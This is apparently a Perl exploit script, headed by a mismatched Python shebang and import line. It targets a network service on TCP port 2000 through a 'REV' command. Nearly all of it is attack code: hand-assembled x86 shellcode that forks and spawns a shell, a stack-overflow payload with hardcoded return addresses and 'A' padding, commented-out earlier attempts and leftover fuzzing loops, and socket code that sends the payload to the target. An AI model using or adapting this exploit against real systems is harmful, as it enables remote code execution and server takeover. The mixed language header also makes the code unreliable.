#!/usr/bin/python

import hacklib

use Socket;
do "./hack.pl";

my $SYSTEM = shift;

#	31 c0                   xor    %eax,%eax
#	b0 02                   mov    $0x2,%al
#	cd 80                   int    $0x80
#	48                      dec    %eax
#	7c 1d                   jl     27 <execashell-0x3>   (or     74 1d    je execashell
#	83 c4 58                add    $0x58,%esp
#	54                      push   %esp
#	5d                      pop    %ebp
#	66 81 c5 68 01          add    $0x168,%bp
#	66 81 ed 01 01          sub    $0x101,%bp
#	89 6d 01                mov    %ebp,0x1(%ebp)
#	83 45 01 21             addl   $0x21,0x1(%ebp)
#	45                      inc    %ebp
#	68 6a 91 04 08          push   $0x804916a
#	c3                      ret

### formerly, the post-cleanup looked like this:
#  14:   83 c4 58                add    $0x58,%esp      (clean up esp)
#  15:   5b                      pop    %ebx		(clean up ebx for thread-kill)
#  17:   54                      push   %esp            (clean up ebp)
#  18:   5d                      pop    %ebp			#  "
#  19:   81 c5 68 01 01 01       add    $0x1010168,%ebp         # + A4 -1
#  1f:   81 ed 01 01 01 01       sub    $0x1010101,%ebp		#  "
#  25:   89 6d 01                mov    %ebp,0x1(%ebp)		#  "
#  27:   83 45 01 21             addl   $0x21,0x1(%ebp)		#  "
#  2c:   45                      inc    %ebp            (done cleaning up ebp)
#  2d:   68 6a 91 04 08          push   $0x804916a      (return into handle_client)
#  32:   c3                      ret                            (go!)
#   $cleanup_post = "\x83\xc4\x58\x5b\x54\x5d\x81\xc5\x68\x01\x01\x01\x81\xed\x01\x01\x01\x01\x89\x6d\x01\x83\x45\x01\x21\x45" .  "\x68\x6a\x91\x04\x08\xc3";
#

my ($cleanup_pre, $cleanup_post, $string, $shellcode);
   $cleanup_pre = "\x31\xc0"; 		# xor %eax
   $cleanup_pre .= "\xb0\x02";		# mov 0x02 %al
   $cleanup_pre .= "\xcd\x80";		# int 0x80		# fork
   $cleanup_pre .= "\x48";		# dec %eax
   $cleanup_pre .= "\x7c\x1a";		# jl execashell		# if not, try 74    je
#   $cleanup_pre .= "\x83\xc4\x58";	# add $0x58, %esp    # clean up?  Necessary??
   $cleanup_pre .= "\x54";		# push %esp
   $cleanup_pre .= "\x5d";		# pop %ebp
   $cleanup_pre .= "\x66\x81\xc5\x68\x01";	# add $0x168,%ebp
   $cleanup_pre .= "\x66\x81\xed\x01\x01";	# sub $0x101,%ebp
   $cleanup_pre .= "\x89\x6d\x01";		# mov %ebp,0x1(%ebp)
   $cleanup_pre .= "\x83\x45\x01\x21";		# addl $0x21,0x1(%ebp)
   $cleanup_pre .= "\x45";		# inc %ebp
   $cleanup_pre .= "\x68\x6a\x91\x04\x08";	# push $0x804916a	# return address
   $cleanup_pre .= "\xc3";		# ret

   $cleanup_post = "";


   $shellcode = reverse($cleanup_pre . genShell(9,78) . $cleanup_post);

# $string = "REV AA\xbf\xae\xdb\x50\xbf\xae\xdf\xb8\x08\x05\x47\x04\x08\x04\xad\x04" . "A"x96 . $shellcode;
# $string = "REV AA\xbf\xae\xdb\x50BBBB\x08\x04\xad\x04\xbf\xae\xdf\xecBB" . "A"x96 . $shellcode;
# $string = "REV AA\xbf\xae\xdb\x50BBBB\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x94 . $shellcode;

# now, let's see if we can repair %ebp
# $string = "REV AA\xbf\xae\xdb\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x94 . $shellcode;

# ok, new tack...  Let's *not* reverse the shellcode so we can return into the heap instead of the stack.
# $string = "REV AA\x08\x04\xa9\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x94 . reverse($shellcode);

# Try removing the lead AA and shorten the string by two...
# $string = "REV \x05\x08\x04\xa9\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x94 . reverse($shellcode);

# Try Pushing %ebx before shellcode, then Popping %ebx before returning
 $string = "REV \x05\x08\x04\xa9\x50\xbf\xae\xdf\xb8\x08\x04\xad\x04\xbf\xae\xdf\xec\xbf\xae\xdf\x3d" . "A"x93 . reverse($shellcode);

####### Used for fuzzing
#for (my $i = 1038; ; $i++){
#######
# my $i = 1063 - length($string);
# shorten the string by 1 and drop the "AA" in the beginning of the string and attach \x05 (fix stack)...
 my $i = 1062 - length($string);
 my ($iaddr, $paddr, $proto, $line);

 $iaddr   = inet_aton($SYSTEM)               || die "no host: $SYSTEM";
 $paddr   = sockaddr_in(2000, $iaddr);


 $proto   = getprotobyname('tcp');
 socket(SOCK, PF_INET, SOCK_STREAM, $proto)  || die "socket: $!";
 connect(SOCK, $paddr)    || die "connect: $!";


 for (my $char = $i; $char >0; $char --){
  $string .= "A";
 }
 warn(length($string));
 send(SOCK, $string,1);
# print(<SOCK>);
 sleep(2);
 close (SOCK)            || die "close: $!";

#######  remnants of fuzzer
#}
#######
